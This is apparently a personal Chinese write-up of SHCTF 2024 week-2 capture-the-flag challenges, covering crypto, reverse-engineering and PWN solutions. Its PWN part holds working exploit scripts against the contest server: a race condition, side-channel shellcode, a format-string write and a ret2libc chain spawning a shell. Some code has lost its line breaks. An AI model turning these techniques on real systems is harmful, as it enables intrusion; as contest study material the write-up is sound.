[山河2024] week2
官方WP出得很快。对照官的写下私的。大概出入不大,毕竟第2周。后边的才难。
Crypto
E&R
RSA因子分解题,把q的2进制反转后与p异或。关于异或的题很多,这个还真是头一回见,不过爆破方法还是一样的。
r_q = int(bin(q)[2:][::-1] , 2)
leak = p ^^ r_q
爆破都比较简单分三步,
1是个递归,由于给的是异或所以每种情况两个值。
2是剪枝,爆破没有剪枝就不可能完成,毕竟有几百步。这里由于p和q是反的,所以要把q的尾部转成p的尾部(乘逆)然后判断全1是否不足N全0是否超N,过滤掉不接入正确值的分枝。
3是个cooper,也可以不用直接递归到底,不过一般差几百就可以直接出结果了。
def pq_xor(tp,tq,idx):global ok,cnt if ok:return #通过tq的尾部得到tp的尾部mod =2^idx p = int(tp,2)ql = int(tq[::-1],2)%modpl = N*inverse_mod(ql,mod)%modp += pl#通过p的尾部得到q的头部qh = (pl^^leak)%modprint(hex(qh),hex(pl), hex(mod),hex(pl^^leak))q = int((bin(qh)[2:].zfill(256))[::-1],2)+qlmid = int('1'*(256-2*idx) + '0'*idx,2)print(hex(mid))print(hex(p))print(hex(q))#过滤掉越界的部分if p*q>N:print('>')return False elif (p+mid)*(q+mid)<N:print('<')return False if idx>=80:cnt += 1try:PR.<x> = PolynomialRing(Zmod(N))f = int(tp,2) + x*mod + pl print('Try', len(hex(p)))rr = f.monic().small_roots(X=2^(256-2*idx), beta=0.4)if rr != []:print(rr)print(tp)p = int(f(rr[0]))print('p = ',p)ok = Truereturnexcept:passreturnprint('idx',idx)if leak&(1<<(255-idx))==0:pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)else:pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)returnleak = 5599968251197363876087002284371721787318931284225671549507477934076746561842
N = 7120275986401660066259983193598830554385933355254283093021239164350142898387660104515624591378875067038235085428170557400012848874756868985306042421950909ok = False
cnt = 0
tp = tq = '1'+'0'*255
pq_xor(tp,tq, 1)p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
d = invert(e,p-1)m2 = pow(c,d,p)
#3939513057628514533900105670644286436358199
long_to_bytes(int(m2))
b'-908f-7c002c687387'
后半部分是个椭圆出线P=e*G,其中曲线参数都给了n是上边这个n,m是G的x值,显然不是求私钥的题,是已知P求基点,乘e的E.order()的逆即可。
p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
E = EllipticCurve(Zmod(p),[114514,1919810])
e_ = inverse_mod(e,E.order())
G = e_ * E(P)
long_to_bytes(int(G.xy()[0]))
padding
RSA在CTF里是个永恒的主题。这里flag有点长,然后加了padding,但是padding已经给了,所以未知部分并不太长,符合coopersmith的条件。
e = 0x3
pad = b'a_easy_problem'
c = pow(bytes_to_long(flag + pad),e,n)
所以直接cooper求解即可
n = 121610581737140600160984832143780045854376696605462678058314779684541675438360954665201512582717184846898732519886408218195115222060925767845182101140985619311569961917165751064108952508715526280654203536289957423921564359664115494280822305174952928768288903200070997282969262755970515223933920417266433278789
c = 56315992669696576544280004341339659214473025294542882124309146208269511334821601242728246283362133643638287054408079279238613115250993778355793431158445018157767456378641306161910716971442727571150196541091591821568737809034772939233013836870367817187622454372405657328507359960344342975570184378962591190001t = b'SHCTF{'+b'\x00'*32+b'}a_easy_problem'
t = bytes_to_long(t)
P.<x> = PolynomialRing(Zmod(n))
f = (t+x*256^15)^3 - c
res = f.monic().small_roots(X=2^(8*32), beta=1, epsilon=0.05)
long_to_bytes(int(f(res[0])))
worde很大
已知e和dp分解n, dp = d mod (p-1) ,由于p-1是phi的因子,所以这里随便拿个数大概率g^t%n-1就是p 这里用d,dp效果都一样。
from gmpy2 import gcd
import random def e_dn(e_d,n):k=e_d-1while True:g= random.randint(2,n-1)t=kwhile True:if t%2!=0:breakt=t//2x=pow(g,t,n)if x > 1 and gcd(x-1, n) > 1:p=gcd(x-1,n)q=n//preturn p,q#这里的dp也能用
p,q=e_dn(e*dp,n)
m = pow(c,dp,p)
long_to_bytes(m)
#b'SHCTF{WoRD_E_y0u_Dlan_d4_0oG0C0}'
魔鬼的步伐
这里的漏洞在于p是由一堆小因子相乘后加1得到,也就是p-1光滑。
def get_Prime(bits):while True:n = 2while n.bit_length() < bits:n *= choice(primes)if isPrime(n + 1):return n + 1
#p+1光滑
import gmpy2
N = n
a = 2
k = 2
while True:a = pow(a, k, N)res = gmpy2.gcd(a-1, N)if res != 1 and res != N:q = N // resprint("k=",k)print("p=",res)print("q=",q)breakn += 1
ezECC
椭圆曲线的一些运算
m = next_prime(bytes_to_long(flag))
p = getPrime(512)
a,b = getPrime(128),getPrime(128)
E = EllipticCurve(Zmod(p),[a,b])
k = getPrime(256)
A1 = E.random_point()
A2 = A1*k
M = E.lift_x(m)
C = M+A2
行是求参,根据方程y^2=x^3+ax+b mod p ,已知2个点A1,C带入即可。
#y^2 = x^3 +a*x +b
#求参数
a = (A1[0]^3-C[0]^3 -A1[1]^2+C[1]^2)*inverse_mod(-A1[0]+C[0],p)%p
b = (-A1[0]^3 -a*A1[0] + A1[1]^2)%p
然后是个减法,由于A1和k已知所以A2也算是已知直接乘,而椭圆曲线的减法可以直接减。
另外这里的x是next_prime(flag)所以有点小误差。
ec = E(C)
ea1 = E(A1)
ea2 = ea1*k
M = ec - ea2
PWN
easy_competition
关于资源共享的问题,输入会被存在共享内存里,检查后2秒才会执行,这样起两个进程,一个写个可以检查通过的值,然后第2个再写入超常的值,第1个进程会执行修改过的值(脏数据)从而绕过检查。
from pwn import *
context(arch='amd64', log_level='debug')p1 = remote('210.44.150.15', 46333)
p2 = remote('210.44.150.15', 46333)p1.send(p64(0))
p2.send(p64(0x404120))p1.interactive()
ez_sandbox
沙箱题,只开了open+read没有输出就可能通过判断程序是否退出来确认对比值是否正确。官WP里用了:在正确时read,我一般用正确时循环。不过我这个不好,read会阻塞,不占资源而死循环会让CPU冒烟。
而这个题的后台可能因为循环造成的有问题,延时会不断增加,导至一会就会超过判断的阀值。所以还是用官WP里的read比较好。
from pwn import *
import time
context(arch='amd64', log_level='error')def getv(i,v):#p = process('./pwn')#gdb.attach(p,"b*0x5555555553e0\nc")p = remote('210.44.150.15', 45964)code = 'add rax,0x100; push rax;pop r15; add rax,0x100;push rax;pop r14;'+shellcraft.open('flag')+shellcraft.read('rax', 'r15', 0x50)code += f"\nmov al, byte ptr[r15+{i}]; mov bl,{v}; loop: cmp al,bl; jz loop; push 62;pop rax; syscall;" #60 exit,62 kill,231 exit_groupp.send(asm(code))t = time.time()try:p.recv(timeout=4)#p.interactive()except:passk = time.time()-tprint(k)p.close()if k>4.0:return Trueelse:return False#getv(1, 0x66)
if 0:p = remote('210.44.150.15',44281)code = 'add rax,0x100; push rax;pop r15;'+shellcraft.open('flag')+'\nloop: cmp al,3; jz loop;mov rax,1;syscall;'p.send(asm(code))t = time.time()try:p.recvall(timeout=3)p.close()except:print('xxx')p.close()print(time.time()-t)#SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}
flag = 'SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}'
for i in range(len(flag), 70):for v in b'0123456789abcdef_{}ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-!?&^%$#@!~()+=':print(chr(v), end='')if getv(i,v):flag += chr(v)print(flag)breakprint(flag)
ezorw
这题出的非常巧妙。main打开flag然后调用vuln,vuln会从标准输入读数据输出,然后关掉flag文件并清指针。
问题就在于清fd这。文件关闭后半不需要清理fd,它只是个编号并不是指针。
所以这题通过溢出重排下调用关系,vuln溢出将返回地址改为调用vuln前,这样执行完后并不重新打开文件而是重入,这时候读第2个payload正常的不用溢出,之后会执行关闭文件操作,由于文件并没有打开fd还是0,所以会关闭标准输入。再次再次执行打开文件时fd会使用0,然后就从0读出flag输出。
from pwn import *
context(arch='amd64', log_level='debug')p = remote('210.44.150.15', 49888)p.sendafter(b"Give you a gift\n", b'A'*0x18+b'\xbb')
sleep(0.5)
#close(0)
p.send(b'A'*0x18+b'\x97')p.interactive()
json_printf
后边这两个题就没意思了,给了名字显然输入要求用json格式(猜,因为json解析那个函数很难看懂),然后就是一个简单的printf到门匙。
from pwn import *
context(arch='i386', log_level='debug')p = remote('210.44.150.15', 31325)p.sendlineafter(b"How to send data?\n", b'{"name":"%999c%10$n '+p32(0x8052074)+b'","age":18}')p.interactive()
json_stackoverflow
为作新词强说愁。
from pwn import *
context(arch='i386', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')p = remote('210.44.150.15',22826)p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(elf.plt['puts'],0x8049432,elf.got['puts'])+b'","age":18}')
p.recvline()
p.recvline()
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(libc.sym['system'],0x41414141,next(libc.search(b'/bin/sh\0')))+b'","age":18}')p.interactive()
REV
下周基本就是难题了,REV就作不了了。
Android?Harmony!
这个作了好几天。先改扩展名zip解两次,出来的.abc文件到网站上在线反编译。出来的代码巨难看。
大致理解成两块,其实是3块,所以一开始没作出来。代码太难看了,估计用编译工具优化后的会好点。
第1块是个迷宫,这个按层遍历就能弄到最优解。他没说是WASD还是0123所以flag不是路径。
msg = open('maze.py').readlines()maze = [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] = msg[i][j]xx = [[-1,0],[1,0],[0,-1],[0,1]]way = [['',[1,83]]]
ok = False
while True:tway = []for k in way:for i,x in enumerate(xx):fx,fy = k[1][0]+x[0], k[1][1]+x[1]if fx==77 and fy==1:print(k[0]+str(i))ok = Truebreakif maze[fx][fy] == ' ':maze[fx][fy] = 'X'tway.append([k[0]+str(i),[fx,fy]])if ok:breakif ok:breakway = tway.copy()#112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211
第2块是一个encode函数解出来的东西很长,能看到除了SHCTF{}和-以外就是16进制字符。只是很难看出来是怎么组合的。
secretKey = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#"b = bytes([(v-32-1919810)*39%95 + 32 for v in secretKey.encode()])
#b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc
第3块其实是关于组合的fillflag,他按行列在迷宫里找3、4叉路口。然后把字符放上去。
msg = open('maze.py').readlines()maze = [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] = msg[i][j]way = '112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211'ss = 'b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc'.ljust(522,' ')#先将串放到至少3叉路口上 Fillflag,CheckGround
idx = 0
for i in range(1,84):for j in range(1,84):if maze[i][j] != ' ': continuew = 0if maze[i-1][j] == ' ': w+=1if maze[i+1][j] == ' ': w+=1if maze[i][j-1] == ' ': w+=1if maze[i][j+1] == ' ': w+=1if w>2:maze[i][j]=ss[idx]idx+=1#沿最短径收集flag字符
xx = [[-1,0],[1,0],[0,-1],[0,1]]
fx,fy = 1,83
flag = ''
for i in range(len(way)):if i>=len(ss): breakif maze[fx][fy] != ' ':flag += maze[fx][fy]else:maze[fx][fy] = '+'k = xx[int(way[i])]fx += k[0]fy += k[1]print(flag)
#SHCTF{81f6ad65-9da6-41ae-bd61-88dea61332f1}
open('m2.txt','w').write('\n'.join([''.join(maze[i])for i in range(85)]).replace('#','.'))
把字符和迷宫放在一张图上就能看到flag是这个路径上的字符。
Loader
loader把enc文件解密后载入执行,显然手工解密后基本就完成了。
#loaddata对enc解密后导入
v9 = [0xC, 0x42, 9, 3, 0, 0x25, 0xB, 0x15, 4]
data = open('enc','rb').read()
d = []
for i in range(len(data)):d.append(((data[i]-v9[(i+2)%9])^v9[i%9])&0xff)open('mm.dat','wb').write(bytes(d))
后边是个麻烦事,因为这个java的Random不大好模拟,只能用java写小段。
import java.util.Random;public class HelloWorld {public static void main(String []args) {String CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";Random random = new Random(4310);StringBuilder sb = new StringBuilder(12);for (int i3 = 0; i3 < 12; i3++) {sb.append(CHARACTERS.charAt(random.nextInt(CHARACTERS.length())));}System.out.println(sb.toString());}
}
//QdUOJ7V7Xruo
//SHCTF{QdUOJ7V7Xruo}
babytea
略
from ctypes import *
from pwn import p32'''v0 = *a1;v1 = a1[1];total = 0x8DDE2E40;for ( i = 0; i <= 0x3F; ++i ){v1 -= (((16 * v0) ^ (v0 >> 5)) + v0) ^ v0 ^ (*(_DWORD *)(4i64 * ((total >> 11) & 3) + key) + total);total += 0x61C88747;v0 -= (((16 * v1) ^ (v1 >> 5)) + v1) ^ v1 ^ (*(_DWORD *)(4i64 * (total & 3) + key) + total);}*a1 = v0;result = a1 + 1;a1[1] = v1;
'''
def decrypt(v, k):v0, v1 = c_uint32(v[0]), c_uint32(v[1])delta = 0x61C88747k0, k1, k2, k3 = k[0], k[1], k[2], k[3]cnt = 0x40total = c_uint32(0x8DDE2E40 + delta * cnt)for i in range(cnt):v0.value += (((v1.value<<4)^(v1.value>>5))+v1.value) ^ v1.value ^(k[total.value&3] + total.value) total.value -= deltav1.value += (((v0.value<<4)^(v0.value>>5))+v0.value) ^ v0.value ^(k[(total.value>>11)&3] + total.value) return p32(v0.value)+p32(v1.value) enc = [415425337,-380302974,277491959,25440477,-706848848,-734132416,-198189596,-1769437464,-438862983,1750955407]
key = [1,1,2,3]flag = b''.join([decrypt(enc[i:i+2],key) for i in range(0,10,2)])
print(flag)
#shctf{962fd-464d-8f4f-f1fd-a6a0c987c569}
cancanneed
AES加密,没有key
在win11的机子上用jadx可以看到 res/raw/xxnd.jpg这张图,实际找不到叫这个名字,从目录里找到两张一样的图。从图上取key来解密。
from base64 import b64decode
from Crypto.Cipher import AES
from hashlib import md5enc = "7zkErqD/oevxjIIjgJswFk3+vDgw5tvK3Cgr/GIYeZEQ5Gq/6v9LPTiUswKcx5ha"
enc = b64decode(enc)#/res/raw/xxnd.jpg 到res目录下找到看上去一样的两张图片(相同)
key = open('x4.jpg','rb').read()[2080:2080+16]aes = AES.new(key,AES.MODE_ECB)
flag = aes.decrypt(enc)
print(flag)#SHCTF{Yu_@re_Very_N8_oF_@nDr01d}
花语
就是花指令专对夫ida的。找到反编译不成功的地方,手工nop掉就OK了,加密很简单
a = [i for i in "!}ggagllllff_fau_hisY_keF{CTSH"]
for j in range(14):k = a[29-j]a[29-j]=a[j]a[j]=kfor i in range(0,29,2):k = a[i]a[i]=a[i+1]a[i+1]=k''.join(a)
#SHCTF{keY_is_hua_fffllllaggg!}
相关文章:
[山河2024] week2
官方WP出得很快。对照官的写下私的。大概出入不大,毕竟第2周。后边的才难。 Crypto E&R RSA因子分解题,把q的2进制反转后与p异或。关于异或的题很多,这个还真是头一回见,不过爆破方法还是一样的。 r_q int(bin(q)[2:][::…...

无限可能LangChain——开启大模型世界
什么是大语言模型? 大语言模型是一种人工智能模型,通常使用深度学习技术(如神经网络)来理解和生成人类语言。这些模型拥有非常多的参数,可以达到数十亿甚至更多,使得它们能够处理高度复杂的语言模式。 我…...
URL路径以及Tomcat本身引入的jar包会导致的 SpringMVC项目 404问题、Tomcat调试日志的开启及总结
一、URL路径导致的 SpringMVC项目 404问题 SpringMVC项目的各项代码都没有问题,但是在页面请求时仍然显示404,编译的时候报了下面的问题: org.apache.jasper.servlet.TldScanner.scanJars 至少有一个JAR被扫描用于TLD但尚未包含TLD。 为此记录…...

如何引起Java中的System.in.read()函数的异常
演示的为:关闭标准输入流System.in后再调用System.in.read就会报出IOException import java.io.IOException; import java.io.InputStream;public class Test {public static void main(String[] args) {InputStream in System.in;try {in.close();System.in.read();}catch (…...
深入理解Flutter鸿蒙next版本 中的Widget继承:使用extends获取数据与父类约束
目录 写在前面 什么是Widget继承? 基本概念 StatelessWidget与StatefulWidget build方法 创建自定义Widget 1. 继承StatelessWidget 2. 继承StatefulWidget并访问父类的约束 3. 继承其他自定义Widget并获取数据 写在最后 写在前面 在Flutter中,…...
Loss:Focal Loss for Dense Object Detection
目录 3. 焦点损失(Focal Loss)3.1. 平衡交叉熵3.2. 焦点损失定义3.3. 类别不平衡与模型初始化3.4. 类别不平衡与两阶段检测器4. RetinaNet 检测器。4.1. 推理与训练。3. 焦点损失(Focal Loss) 焦点损失(Focal Loss)旨在解决单阶段目标检测场景中训练时前景和背景类别之间…...
Unity3D中Excel表格的数据处理模块详解
前言 在Unity3D项目中,处理Excel表格数据是一项常见且重要的任务。通过Excel表格,我们可以方便地管理游戏配置、角色属性等数据内容。本文将详细介绍如何在Unity3D中实现Excel表格的数据处理模块,包括技术详解和代码实现。 对惹,…...

【python】OpenCV—Fun Mirrors
文章目录 1、准备工作2、原理介绍3、代码实现4、效果展示5、参考 1、准备工作 pip install vacm2、原理介绍 在OpenCV中,VCAM 库是一个用于简化创建三维曲面、定义虚拟摄像机、设置参数以及进行投影任务的工具。它特别适用于实现如哈哈镜等图像变形效果。 一、VC…...
QT IEEE754 16进制浮点数据转成10进制
IEEE754标准转换QT代码 qtcreator使用的ieee754标准的4字节数组与浮点数之间的转换方法,ieee754的4位数组如果转换成二进制后,大体结构是: 位序号12-910-32意义 符号位, 正数为0,负数为1. 指数位, 指数是…...

无人机+视频推流直播EasyCVR视频汇聚/EasyDSS平台在森林防护巡检中的解决方案
随着科技的飞速发展,无人机技术在各个领域的应用日益广泛,特别是在森林防护与巡检方面,无人机以其独特的优势,为传统林业管理带来了革命性的变化。本文将探讨无人机在森林防护巡检中的解决方案,分析其工作原理、优势及…...

Rancher—多集群Kubernetes管理平台
目录 一、Rancher 简介1.1 Rancher 和 k8s 的区别 二、Rancher 安装及配置2.1 安装 rancher2.2 登录 Rancher 平台2.3 Rancher 管理已存在的 k8s 集群2.4 创建名称空间 namespace2.5 创建 Deployment 资源2.6 创建 service2.7 Rancher 部署监控系统 一、Rancher 简介 Rancher …...
使用多IP香港站群服务器对网站管理seo优化提升排名有益处
在网站管理和优化中,选择合适的服务器是至关重要的。针对某些特定需求,使用多IP香港站群服务器可以带来明显的益处。本文将探讨使用多IP香港站群服务器 对网站管理的明显益处,并介绍其中的关键要点和优势。 I. 理解多IP香港站群服务器 1. 多I…...

网管平台(基础篇):网管系统的重要性
网管系统的核心地位:数字世界的稳定舵手 在信息技术日新月异的今天,网络如同一条无形的纽带,将世界紧密相连。然而,这条纽带背后隐藏着无数复杂的节点与链路,如何确保它们高效、稳定地运行,成为了一个亟待解…...

Ubuntu20.04下安装多CUDA版本,以及后续切换卸载
本方案的前提是假设机子上已经有一个版本的cuda,现在需要支持新的torch2.1.2和torchvision0.16.2,于是来安装新的cuda 一、选择版本 如果我想安装支持torch2.1.2的cuda版本,到官网(https://pytorch.org/get-started/previous-ve…...
图像处理高频面试题及答案
目录 高频面试题及答案1. 什么是图像处理?2. 什么是图像的分辨率?3. 图像的颜色空间是什么?4. 什么是边缘检测,为什么重要?5. 解释一下图像增强的常见方法。6. 什么是图像的直方图?7. 什么是图像的去噪声?8. 什么是图像分割,常用的方法有哪些?9. 图像滤波的目的是什么…...

尤雨溪都打赏的虚拟列表组件,到底有多强
尤雨溪都打赏的虚拟列表组件,到底有多强? 在前端开发中,性能优化永远是绕不开的主题。今天就带你看看 vue-virtual-scroller,一款让你滚动页面时流畅得像火箭一样的 Vue 组件。本文将简单介绍这个组件的主要功能、技术特点&#x…...
FrameWork使用EfCore数据库映射举例
Microsoft.EntityFrameworkCore新的版本不支持FrameWork框架。 这里举例使用旧版本实现数据存取 首先下载 Microsoft.EntityFrameworkCore 版本控制在2.1.14以下 同样下载Microsoft.EntityFrameworkCore.sqlite 举例时间记录 public class RunTimeInfo{[Key]public int Id { g…...

汽车与航空领域的功能安全对比:ISO 26262-6 与 DO-178C 的差异浅析
ISO 26262-6 和 DO-178C (航空系统与设备认证中的软件考量)。是汽车和航空领域分别广泛应用的软件安全标准。它们的共同目标是确保系统软件可靠性,减少系统软件故障对生命安全的威胁,但在具体的软件安全方案和规范实施上存在明显的…...
linux命令之lspci用法
lspci 显示当前主机的所有PCI总线信息 补充说明 lspci命令 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。 语法 lspci(选项)选项 -n:以数字方式显示PCI厂商和设备代码; -t:以树状结构显示PCI设备的层次…...

虚幻闪烁灯光材质
创建一个材质 材质域改成光照函数 , Time让材质动起来 参数B用来控制速度 , Sine 让灯光闪烁 , Frac 增加了闪烁细节 把材质放到灯光材质上 效果还是挺不错的! 可以用于一些恐怖游戏~...

K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...

.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)
CSI-2 协议详细解析 (一) 1. CSI-2层定义(CSI-2 Layer Definitions) 分层结构 :CSI-2协议分为6层: 物理层(PHY Layer) : 定义电气特性、时钟机制和传输介质(导线&#…...
蓝桥杯 2024 15届国赛 A组 儿童节快乐
P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡,轻快的音乐在耳边持续回荡,小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下,六一来了。 今天是六一儿童节,小蓝老师为了让大家在节…...

ETLCloud可能遇到的问题有哪些?常见坑位解析
数据集成平台ETLCloud,主要用于支持数据的抽取(Extract)、转换(Transform)和加载(Load)过程。提供了一个简洁直观的界面,以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...
站群服务器的应用场景都有哪些?
站群服务器主要是为了多个网站的托管和管理所设计的,可以通过集中管理和高效资源的分配,来支持多个独立的网站同时运行,让每一个网站都可以分配到独立的IP地址,避免出现IP关联的风险,用户还可以通过控制面板进行管理功…...

毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...

手机平板能效生态设计指令EU 2023/1670标准解读
手机平板能效生态设计指令EU 2023/1670标准解读 以下是针对欧盟《手机和平板电脑生态设计法规》(EU) 2023/1670 的核心解读,综合法规核心要求、最新修正及企业合规要点: 一、法规背景与目标 生效与强制时间 发布于2023年8月31日(OJ公报&…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...